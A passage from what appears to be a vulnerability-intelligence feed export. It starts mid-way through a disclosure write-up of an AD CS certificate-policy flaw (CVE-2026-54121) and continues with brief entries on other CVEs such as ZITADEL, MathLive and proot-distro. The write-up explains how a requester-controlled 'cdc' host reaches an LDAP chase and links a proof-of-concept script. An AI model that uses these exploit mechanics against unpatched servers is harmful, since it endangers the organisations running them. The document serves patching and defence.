hash-matched July DLL.\n\n\nDetailed patched flow:\n\n```text\n1. User submits cert enrollment request with cdc=\"attacker.example.com\"\n2. _LoadPrincipalObject() calls _GetDSObject() -> fails (referral needed)\n3. polGetRequestAttribute(\"cdc\", &bstrString) -> reads attacker's hostname\n4. NEW: Feature_3185813818 check (servicing flag)\n   - DISABLED -> old behavior (backward compat)\n   - ENABLED -> _ValidateChaseTargetIsDC(bstrString)\n      - Reject if empty\n      - Reject if > 260 chars\n      - Reject if IPv4 address (RtlIpv4StringToAddressW)\n      - Reject if IPv6 address (RtlIpv6StringToAddressW)\n      - Reject if contains LDAP injection chars: ( ) * [ \\ ]\n      - LDAP search: (&(objectCategory=computer)(dNSHostName=)\n                       (userAccountControl:1.2.840.113556.1.4.803:=8192))\n         - 8192 = SERVER_TRUST_ACCOUNT = must be a real DC\n         - If 0 results -> try with extracted base DN (_ExtractBaseDNForDCSearch)\n         - If still 0 -> REJECT\n5. Only if validation passes -> _GetDSObject(a2, 1, bstrString) -> connect to verified DC\n6. NEW: _GetObjectSID() -> verify resolved object's SID matches requester's SID\n   - If SID mismatch -> REJECT (prevents object substitution)\n```\n\n## Code analysis\n\nThe proof-of-concept shows the impact, but the code path explains the root cause. The relevant logic sits in `certpdef.dll`, the AD CS Certificate Policy Enterprise module loaded by `certsrv.exe`. The vulnerable behavior is in the request-principal loading path, where request-supplied attributes are used while resolving the requester identity.\n\nWe compare the June and July builds because June is the vulnerable baseline and July is the Microsoft patched build. That makes the July-only functions useful markers for the fix.\n\nThe functions that matter for the request path are:\n\n| Build | Function | Why it matters |\n|---|---|---|\n| June / vulnerable | `CRequestInstance::_LoadPrincipalObject` | Vulnerable integration point; reads the requester-controlled chase target. |\n| June / vulnerable | `CRequestInstance::_GetDSObject` | Directory lookup/chase sink reached with the untrusted `cdc` host. |\n| June / vulnerable | `CRequestInstance::_GetObjectSID` | Original SID retrieval path before the July identity-verification changes. |\n| July / patched | `CRequestInstance::_ExtractBaseDNForDCSearch` | Helper used by the DC verification LDAP search. |\n| July / patched | `CRequestInstance::_ValidateChaseTargetIsDC` | Validates that `cdc` resolves to a real Domain Controller. |\n| July / patched | `CRequestInstance::_LoadPrincipalObject` | Patched integration point; calls validation before the chase. |\n| July / patched | `CRequestInstance::_GetDSObject` | Same logical sink, now reached only after validation when the protected path is active. |\n| July / patched | `CRequestInstance::_GetObjectSID` | Updated identity/SID verification path after object resolution. |\n| July / patched | `Feature_3185813818` | Servicing feature gate around the updated behavior. |\n\nThe July-only pieces to look for are `CRequestInstance::_ValidateChaseTargetIsDC`, `CRequestInstance::_ExtractBaseDNForDCSearch`, and the `Feature_3185813818` gate.\n\n### June vulnerable build flow\n\nIn the June vulnerable build, `CRequestInstance::_LoadPrincipalObject` reads the `cdc` request attribute and passes it directly into `_GetDSObject` with chase enabled.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n//                                           ^ chase enabled\n//                                              ^ requester-controlled host\n```\n\nThe request-to-directory path is:\n\n```text\ncertificate request attribute -> cdc BSTR -> _GetDSObject(..., chase = 1, cdc)\n```\n\nIn other words, requester-controlled routing data reached a directory-authority decision before the CA had checked that the target was a Domain Controller.\n\n### July patched build flow\n\nThe July patched build wraps the same chase with a feature-gated validation call and then performs an additional SID verification path.\n\n```c\n// decompiled shape from CRequestInstance::_LoadPrincipalObject\npolGetRequestAttribute(policy, L\"cdc\", &bstrString);\n\nif (Feature_3185813818::IsEnabled()) {\n    CRequestInstance::_ValidateChaseTargetIsDC(this, bstrString);\n\n    CRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n\n    CRequestInstance::_GetObjectSID(this, &resolved_sid, mode);\n}\n```\n\nThere is still an legacy behavior branch visible in the patched control flow:\n\n```c\nCRequestInstance::_GetDSObject(this, policy, 1, bstrString);\n```\n\nThat branch is reached when the servicing feature gate is not enabled. For lab validation, the feature state matters because the protected path is conditional.\n\n## Code analysis: `_ValidateChaseTargetIsDC`\n\n`CRequestInstance::_ValidateChaseTargetIsDC` is the main new guard. It takes the requester-supplied `cdc` value and checks that it is a Domain Controller hostname before `_GetDSObject` follows the chase.\n\nThe validation has two layers.\n\nFirst, it rejects values that are not safe DC hostnames:\n\n```c\n// 1. Strip leading backslashes, then reject empty input\nwhile (*target == L'\\\\')\n    target++;\nif (*target == L'\\0')\n    reject;\n\n// 2. Reject oversized hostnames\nif (wcslen(target) > 0x104)\n    reject;\n\n// 3. Reject IPv4 and IPv6 literals\nif (RtlIpv4StringToAddressW(target, TRUE, &end, &ipv4) == STATUS_SUCCESS && *end == 0)\n    reject;\n\nif (RtlIpv6StringToAddressW(target, &end, &ipv6) == STATUS_SUCCESS && *end == 0)\n    reject;\n\n// 4. Reject LDAP filter metacharacters\nfor (p = target; *p; p++) {\n    if ((*p - 0x28) <= 2 || (*p - 0x5b) <= 2)\n        reject;\n}\n```\n\nThe IP checks block raw-address chase targets such as `192.0.2.10` or `::1`. The metacharacter check keeps the hostname inside the LDAP filter slot.\n\nAfter the string checks, the function asks Active Directory whether the target is a DC:\n\n```text\n(&(objectCategory=computer)(dNSHostName=%s)(userAccountControl:1.2.840.113556.1.4.803:=8192))\n```\n\n`8192` is `SERVER_TRUST_ACCOUNT`, the `userAccountControl` bit used by Domain Controller computer accounts. The updated code searches for exactly one computer object with that bit set and a `dNSHostName` matching the supplied `cdc` value.\n\nThe search path is roughly:\n\n```c\nldap_search_ext_sW(ldap, NULL, LDAP_SCOPE_SUBTREE,\n                   filter, NULL, TRUE, NULL, NULL,\n                   &timeout, 1, &result);\n\ncount = ldap_count_entries(ldap, result);\n\nif (count == 0) {\n    base_dn = CRequestInstance::_ExtractBaseDNForDCSearch(this);\n    ldap_search_ext_sW(ldap, base_dn, LDAP_SCOPE_SUBTREE,\n                       filter, NULL, TRUE, NULL, NULL,\n                       &timeout, 1, &result);\n    count = ldap_count_entries(ldap, result);\n}\n\nif (count != 1)\n    reject;\n```\n\nThe missing check was simple but critical: the chase target must be an AD-registered Domain Controller, not just a host string from the certificate request.\n\n## Why the update fixes the bug\n\nBefore the update, the vulnerable chain was:\n\n```text\nattacker request -> cdc=\"attacker host\" -> CA LDAP chase -> attacker response -> issued identity\n```\n\nAfter the update, the intended chain is:\n\n```text\nattacker request -> cdc=\"some host\"\n        |\n        v\nvalidate hostname shape\n        |\n        v\nquery AD for dNSHostName= AND SERVER_TRUST_ACCOUNT\n        |\n        v\nrequire exactly one real DC object\n        |\n        v\nonly then call _GetDSObject(..., chase = 1, cdc)\n        |\n        v\nverify resolved SID / identity\n```\n\nThe update changes two things:\n\n1. **Target authenticity:** the chase target must be an AD-registered Domain Controller, not an arbitrary requester-controlled host.\n2. **Object authenticity:** the object resolved through the chase must match the expected identity, preventing substitution even if the lookup path is unusual.\n\n## Functions of interest\n\nFor security researchers tracing the request path, start with these functions:\n\n```text\nJune vulnerable build\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n\nJuly patched build\n  Feature_3185813818\n  CRequestInstance::_ExtractBaseDNForDCSearch\n  CRequestInstance::_ValidateChaseTargetIsDC\n  CRequestInstance::_LoadPrincipalObject\n  CRequestInstance::_GetDSObject\n  CRequestInstance::_GetObjectSID\n```\n\nGood code references for the writeup are:\n\n1. June `_LoadPrincipalObject` showing `cdc` flowing into `_GetDSObject`.\n2. July `_LoadPrincipalObject` showing the call to `_ValidateChaseTargetIsDC` before `_GetDSObject`.\n3. July `_ValidateChaseTargetIsDC` showing the IP rejection and LDAP filter construction.\n4. July `_ValidateChaseTargetIsDC` showing the `userAccountControl:1.2.840.113556.1.4.803:=8192` DC query.\n5. July `_GetObjectSID` or its caller site showing the added SID verification path.\n\n## Hot fix without the update: disable the chase fallback\n\nIf the July update cannot be installed immediately, the vulnerable code path can be switched off completely with a policy flag, because the `cdc` chase is an optional fallback feature, not code that runs on every request:\n\n```powershell\ncertutil -setreg policy\\EditFlags -EDITF_ENABLECHASECLIENTDC\nRestart-Service CertSvc -Force\n```\n\nThis is a mitigation, not a patch. If `EDITF_ENABLECHASECLIENTDC` is re-enabled on an unpatched CA by an administrator, image, or group policy, the vulnerability is exploitable again.\n\nNote: *This hot fix was validated only in a controlled lab environment, not on a production CA. Before applying it in production, test it on a staging CA that mirrors your environment and confirm that no legitimate enrollment relies on the chase fallback those requests will fail once the flag is cleared. The July update remains the recommended remediation.*\n\n## Timeline\n\n- **May 14, 2026:** Vulnerability reported to the Microsoft Security Response Center\n- **May 14, 2026:** Case assigned\n- **May 22, 2026:** Case investigated and confirmed\n- **July 14, 2026:** Patch released by Microsoft as CVE-2026-54121\n- **July 24, 2026:** Public disclosure\n\n## References\n\n- [certighost.py PoC script](https://github.com/aniqfakhrul/CVE-2026-54121)\n- [Certipy AD CS toolkit](https://github.com/ly4k/Certipy)\n- [Microsoft Security Update Guide: CVE-2026-54121](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121)\n- [MS-WCCE: Windows Client Certificate Enrollment Protocol](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/)\n\n## Acknowledgments\n\nThe authors would like to thank the Microsoft Security Response Center for the acknowledgement.\n", "creation_timestamp": "2026-07-29T16:59:44.696136Z"}, {"uuid": "59680a79-a5bf-4fb7-99dd-6fb247b0e2f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54078", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrsibnyxwe2o", "content": "CVE-2026-54078 - veraPDF Validation XXE via Rich Text\nCVE ID : CVE-2026-54078\n \n Published : July 29, 2026, 4:17 p.m. | 1\u00a0hour, 26\u00a0minutes ago\n \n Description : veraPDF validation model is an implementation of the veraPDF validation model. From 1.25.73 until 1.30.2 and 1.31.71,...", "creation_timestamp": "2026-07-29T17:48:14.428143Z"}, {"uuid": "079d1f0e-ea3f-449a-b68d-8dd0121d1f29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54574", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrsih6ubzv2j", "content": "CVE-2026-54574 - `proot-distro install` has a Symlink Escape (Arbitrary Host File Write) via Malicious Tar Archive\nCVE ID : CVE-2026-54574\n \n Published : July 29, 2026, 5:16 p.m. | 27\u00a0minutes ago\n \n Description : proot-distro is a utility for managing proot containers. Prior t...", "creation_timestamp": "2026-07-29T17:51:20.145790Z"}, {"uuid": "2cddd804-6c03-4d60-b0fd-fe175801c35b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54727", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrsiee5rkj2b", "content": "CVE-2026-54727 - proot-distro has a Container Isolation Bypass via Crafted Restore Archive\nCVE ID : CVE-2026-54727\n \n Published : July 29, 2026, 5:16 p.m. | 27\u00a0minutes ago\n \n Description : proot-distro is a utility for managing proot containers. Prior to version 5.1.6, proot-d...", "creation_timestamp": "2026-07-29T17:49:55.419980Z"}, {"uuid": "8326e003-3c2f-4deb-bcdb-fde18ede06dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54693", "type": "seen", "source": "https://gist.github.com/alon710/122d827ca97ab8457c12647e94a1482c", "content": "# CVE-2026-54693: CVE-2026-54693: Authorization Bypass in ZITADEL Identity Management Platform\n\n> **CVSS Score:** 8.2\n> **Published:** 2026-07-29\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54693\n\n## Summary\nA critical authorization bypass vulnerability was identified in the ZITADEL identity management platform, tracked as CVE-2026-54693 (GHSA-jq8w-8q2f-ffm9). Due to incorrect privilege validation in self-service profile modification endpoints, standard authenticated users could obtain plaintext verification codes during email or phone number updates. This allows attackers to claim and verify arbitrary email addresses or phone numbers without controlling the underlying contact methods.\n\n## TL;DR\nZITADEL allowed self-managing users to request plaintext verification OTPs in API responses by setting the returnCode parameter to true. Standard users could exploit this logic flaw to verify arbitrary email addresses and phone numbers without possessing actual access to the targeted out-of-band communication channel.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-863\n- **Attack Vector**: Network\n- **CVSS Score**: 8.2 (High)\n- **Exploit Status**: PoC\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- ZITADEL Identity Platform\n- **ZITADEL**: >= 2.43.0, < 2.71.19 (Fixed in: `2.71.19`)\n- **ZITADEL**: >= 3.0.0-rc.1, < 3.4.11 (Fixed in: `3.4.11`)\n- **ZITADEL**: >= 4.0.0-rc.1, < 4.15.1 (Fixed in: `4.15.1`)\n\n## Mitigation\n\n- Upgrade to a patched version of ZITADEL (v3.4.11 or v4.15.1).\n- Monitor API gateway logs for unauthorized use of the returnCode parameter in self-service endpoints.\n- Audit existing database and event store entries for anomalies in verification speeds.\n\n**Remediation Steps:**\n1. Identify the current running ZITADEL version and branch.\n2. Apply the update to version 3.4.11 (for v3) or 4.15.1 (for v4).\n3. Review the event store for suspicious patterns where email changes and email verifications occur within consecutive seconds.\n\n## References\n\n- [ZITADEL Security Advisory GHSA-jq8w-8q2f-ffm9](https://github.com/zitadel/zitadel/security/advisories/GHSA-jq8w-8q2f-ffm9)\n- [ZITADEL Release v3.4.11](https://github.com/zitadel/zitadel/releases/tag/v3.4.11)\n- [ZITADEL Release v4.15.1](https://github.com/zitadel/zitadel/releases/tag/v4.15.1)\n- [CVE-2026-54693 Record](https://www.cve.org/CVERecord?id=CVE-2026-54693)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54693) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-29T17:31:36.273455Z"}, {"uuid": "07d2baa2-5d3d-41a2-9b7c-9eee3fd6396a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54680", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrsi5rwobd22", "content": "CVE-2026-54680 - logging-operator\nA user with access to create certain resources can inject malicious Fluentd configuration, potentially allowing arbitrary command execution within the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#loggingoperator #kubelogging #Golang #CVE #infosec", "creation_timestamp": "2026-07-29T17:46:04.357008Z"}, {"uuid": "b55097ef-79cf-4119-b9a4-69d0f44d81fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54735", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrsik6jv3n22", "content": "CVE-2026-54735 - prebid-server's request forgery vulnerability allows for possible host environment data extraction\nCVE ID : CVE-2026-54735\n \n Published : July 29, 2026, 4:17 p.m. | 1\u00a0hour, 26\u00a0minutes ago\n \n Description : Prebid Server is an open-source solution for running re...", "creation_timestamp": "2026-07-29T17:53:00.317369Z"}, {"uuid": "b939cfb7-515b-4870-a6c2-5e5ac650735b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54664", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrsjfnwzxr2q", "content": "CVE-2026-54664 - swagger-typescript-api vulnerable to code injection via unescaped enum string values\nCVE ID : CVE-2026-54664\n \n Published : July 29, 2026, 3:16 p.m. | 2\u00a0hours, 28\u00a0minutes ago\n \n Description : swagger-typescript-api generates API clients for Fetch or Axios from...", "creation_timestamp": "2026-07-29T18:08:22.578915Z"}, {"uuid": "0a0cda1f-4a6b-4eac-95f4-5831327acf6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54690", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mrsjjjptoa27", "content": "CVE-2026-54690 - SSRF in datamodel-code-generator. CVSS 8.2. Attacker-controlled JSON Schema refs can trigger server-side request forgery. No patch available. Mitigate by restricting remote refs. #CVE #infosec #cybersecurity\n\nhttps://www.valtersit.com/cve/CVE-2026-54690/", "creation_timestamp": "2026-07-29T18:10:32.330227Z"}, {"uuid": "1433c546-9c41-451a-a0f9-34932ec667eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54690", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3mrsjjki2ag2o", "content": "CVE-2026-54690 - SSRF in datamodel-code-generator. CVSS 8.2. Attacker-controlled JSON Schema refs can trigger server-side request forgery. No patch available. Mitigate by restricting remote refs. #CVE #infosec #potatosecurity\n\nhttps://www.valtersit.com/cve/CVE-2026-54690/", "creation_timestamp": "2026-07-29T18:10:33.135012Z"}, {"uuid": "3ddcc269-c68c-4386-bbec-b3b060dcf2c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54693", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrsjxpyzb222", "content": "CVE-2026-54693 - ZITADEL Users Can Self-Verify Email/Phone via API\nCVE ID : CVE-2026-54693\n \n Published : July 29, 2026, 5:16 p.m. | 27\u00a0minutes ago\n \n Description : ZITADEL is an open source identity management platform. From 2.43.0 through 2.71.19, from 3.0.0 until 3.4.11, an...", "creation_timestamp": "2026-07-29T18:18:28.546592Z"}, {"uuid": "196ad907-b066-4c08-9bd3-c7aefe9cb77b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54661", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrsk7fled62q", "content": "CVE-2026-54661 - swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in axios http-client template\nCVE ID : CVE-2026-54661\n \n Published : July 29, 2026, 3:16 p.m. | 2\u00a0hours, 28\u00a0minutes ago\n \n Description : swagger-typescript-api generates API cli...", "creation_timestamp": "2026-07-29T18:22:46.154748Z"}, {"uuid": "58ebf0b8-942b-4c36-ab4a-36640d1e727c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54079", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrskieb4br2i", "content": "CVE-2026-54079 - veraPDF Validation XXE via XFA\nCVE ID : CVE-2026-54079\n \n Published : July 29, 2026, 4:17 p.m. | 1\u00a0hour, 26\u00a0minutes ago\n \n Description : veraPDF validation provides PDF/A and PDF/UA validation, feature reporting, and metadata repair. From 1.17.35 until 1.30.2 ...", "creation_timestamp": "2026-07-29T18:27:46.584012Z"}, {"uuid": "12bd349c-ecd5-469b-855e-bfbe67e4c319", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54705", "type": "seen", "source": "https://gist.github.com/alon710/1cabeec5e425623518fb342992349eb6", "content": "# CVE-2026-54705: CVE-2026-54705: DOM-Based Cross-Site Scripting in MathLive LaTeX Rendering Engine\n\n> **CVSS Score:** 6.3\n> **Published:** 2026-07-29\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54705\n\n## Summary\nCVE-2026-54705 is a critical DOM-based Cross-Site Scripting (XSS) vulnerability affecting the MathLive library prior to version 0.110.0. The flaw stems from a lack of proper character escaping in the rendering path for LaTeX text-mode commands such as \\text{} and \\mbox{}, enabling unauthenticated attackers to execute arbitrary JavaScript in the victim's browser.\n\n## TL;DR\nMathLive versions < 0.110.0 fail to escape text-mode commands (like \\text{} and \\mbox{}), enabling DOM-based Cross-Site Scripting (XSS) when rendering untrusted LaTeX.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-116\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1 Score**: 6.3\n- **Exploit Status**: PoC Available\n- **CISA KEV Status**: Not Listed\n- **Impact**: DOM-based Cross-Site Scripting (XSS)\n\n## Affected Systems\n\n- mathlive NPM library\n- **mathlive**: < 0.110.0 (Fixed in: `0.110.0`)\n\n## Mitigation\n\n- Upgrade mathlive to version 0.110.0 or higher.\n- Integrate client-side sanitizers such as DOMPurify to intercept and clean MathLive generated outputs.\n- Enforce a strict Content Security Policy (CSP) blocking inline scripts and unauthorized resources.\n\n**Remediation Steps:**\n1. Verify current version of mathlive package using `npm list mathlive`.\n2. Update dependency in `package.json` to `0.110.0` or higher.\n3. Audit application code for any usages of `convertLatexToMarkup` or raw math-static components that bind directly to innerHTML sinks.\n4. Apply DOMPurify to existing elements as an secondary defensive layer.\n\n## References\n\n- [GitHub Security Advisory](https://github.com/arnog/mathlive/security/advisories/GHSA-fm7p-gw32-828p)\n- [MathLive Issue #3028](https://github.com/arnog/mathlive/issues/3028)\n- [MathLive Fix Commit](https://github.com/arnog/mathlive/commit/5fe1c46153883f9ec0249a5c8c34e64aaae9cfb8)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54705) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-29T18:31:02.031024Z"}, {"uuid": "39bdc50f-fae3-45f6-8045-96abfe453903", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54705", "type": "published-proof-of-concept", "source": "https://github.com/arnog/mathlive/security/advisories/GHSA-fm7p-gw32-828p", "content": "", "creation_timestamp": "2026-07-29T18:35:03.774847Z"}, {"uuid": "1c6aeac1-b172-4a91-894f-6c67083c070a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54680", "type": "published-proof-of-concept", "source": "https://github.com/kube-logging/logging-operator/security/advisories/GHSA-mjqf-28ph-426h", "content": "", "creation_timestamp": "2026-07-29T18:35:06.215651Z"}, {"uuid": "64c13977-1c9f-43a1-857f-135d8130169b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54727", "type": "published-proof-of-concept", "source": "https://github.com/termux/proot-distro/security/advisories/GHSA-7h3g-4w2f-fj2f", "content": "", "creation_timestamp": "2026-07-29T18:35:08.632639Z"}, {"uuid": "bd1ac810-32ae-4c02-9791-f22f2edd0f83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54574", "type": "published-proof-of-concept", "source": "https://github.com/termux/proot-distro/security/advisories/GHSA-9xq3-3fqg-4vg7", "content": "", "creation_timestamp": "2026-07-29T18:35:11.258918Z"}, {"uuid": "97121651-4dd4-4314-8858-3c39c24b89a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54666", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrsl2b6tt524", "content": "CVE-2026-54666 - swagger-typescript-api vulnerable to code injection via unescaped OpenAPI path strings in generated method bodies\nCVE ID : CVE-2026-54666\n \n Published : July 29, 2026, 3:16 p.m. | 2\u00a0hours, 28\u00a0minutes ago\n \n Description : swagger-typescript-api generates API cl...", "creation_timestamp": "2026-07-29T18:37:47.424633Z"}, {"uuid": "148bdd17-2821-4226-8147-feb14572d404", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54662", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrsld7nukl24", "content": "CVE-2026-54662 - swagger-typescript-api vulnerable to code injection via unescaped `servers[0].url` in fetch http-client template\nCVE ID : CVE-2026-54662\n \n Published : July 29, 2026, 3:16 p.m. | 2\u00a0hours, 28\u00a0minutes ago\n \n Description : swagger-typescript-api generates API cli...", "creation_timestamp": "2026-07-29T18:42:47.836865Z"}, {"uuid": "123c3323-4af1-4b49-875e-68284c65b1d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54680", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrslm65dqc2s", "content": "CVE-2026-54680 - Logging operator has Fluentd configuration injection that allows remote code execution\nCVE ID : CVE-2026-54680\n \n Published : July 29, 2026, 5:16 p.m. | 27\u00a0minutes ago\n \n Description : Logging operator automates the deployment and configuration of Kubernetes l...", "creation_timestamp": "2026-07-29T18:47:48.179865Z"}, {"uuid": "f5dfc0fa-6f36-4186-b7df-eda8809631d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54704", "type": "seen", "source": "https://gist.github.com/alon710/4dd54cb025c6b4b717455d6420807f40", "content": "# CVE-2026-54704: CVE-2026-54704: Sensitive Data Exposure in OpenTelemetry Java Instrumentation SQL Sanitizer\n\n> **CVSS Score:** 6.5\n> **Published:** 2026-07-29\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54704\n\n## Summary\nA sensitive data exposure vulnerability (CWE-532) exists in OpenTelemetry Java Instrumentation prior to version 2.28.0. The JDBC auto-instrumentation component's SQL statement sanitizer contains lexer flaws that prevent the correct redaction of administrative passwords under specific conditions, such as when double-quotes represent identifiers or during multi-statement executions separated by semicolons.\n\n## TL;DR\nFlaws in the OpenTelemetry JFlex SQL sanitizer allowed unredacted database credentials to leak into trace spans when using double quotes or executing multi-statement queries.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-532\n- **Attack Vector**: Network\n- **CVSS Score**: 6.5\n- **EPSS Score**: 0.00224\n- **Impact**: Sensitive Data Exposure\n- **Exploit Status**: Proof of Concept (PoC) documented\n- **KEV Status**: Not in CISA KEV\n\n## Affected Systems\n\n- OpenTelemetry Java Agent\n- OpenTelemetry Java Instrumentation JDBC Component\n- **opentelemetry-java-instrumentation**: < 2.28.0 (Fixed in: `2.28.0`)\n\n## Mitigation\n\n- Upgrade the OpenTelemetry Java Agent to version 2.28.0 or newer.\n- Avoid using double-quoted database passwords in administrative statements.\n- Disable multi-query statement execution within application database drivers.\n- Implement collector-side processors to filter or scrub traces containing passwords.\n\n**Remediation Steps:**\n1. Identify all JVM deployments using opentelemetry-javaagent version < 2.28.0.\n2. Update build configurations, Dockerfiles, and deployment manifests to pull version 2.28.0.\n3. Restart target JVM instances to load the updated Java Agent.\n4. Query tracing platforms (e.g., Jaeger, Tempo) for any stored plain-text passwords and purge the affected historical indexes.\n\n## References\n\n- [GHSA-rwqx-fvqh-6wm4](https://github.com/open-telemetry/opentelemetry-java-instrumentation/security/advisories/GHSA-rwqx-fvqh-6wm4)\n- [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2026-54704)\n- [CVE Record](https://www.cve.org/CVERecord?id=CVE-2026-54704)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54704) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-29T19:31:52.622911Z"}, {"uuid": "a6838290-5a49-4c6a-8fcb-15fe38922b0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54770", "type": "seen", "source": "https://gist.github.com/alon710/3f2dc90a23f10e17e098821e66e18187", "content": "# CVE-2026-54770: CVE-2026-54770: Open Redirect via Parser Differential in WebOb\n\n> **CVSS Score:** 6.1\n> **Published:** 2026-08-27\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54770\n\n## Summary\nAn open redirect vulnerability exists in WebOb before version 1.8.11 due to a parser differential between WebOb's validation logic and Python's standard urllib.parse.urljoin() function. Under Python 3.10+, the urljoin function strips leading and trailing space characters and C0 control characters, which allowed specially crafted inputs to bypass WebOb's prefix checks while still resolving as off-host redirects.\n\n## TL;DR\nA parser differential between WebOb and Python's urljoin on modern runtimes allows unauthenticated attackers to bypass open redirect protections using leading spaces or control characters.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-601\n- **Attack Vector**: Network\n- **CVSS v3.1**: 6.1 (Medium)\n- **EPSS Score**: 0.00339 (0.34%)\n- **Exploit Status**: Proof-of-Concept\n- **KEV Status**: Not Listed\n- **Impact**: Open Redirect / Phishing\n\n## Affected Systems\n\n- WebOb on Python 3.10+\n- **WebOb**: < 1.8.11 (Fixed in: `1.8.11`)\n\n## 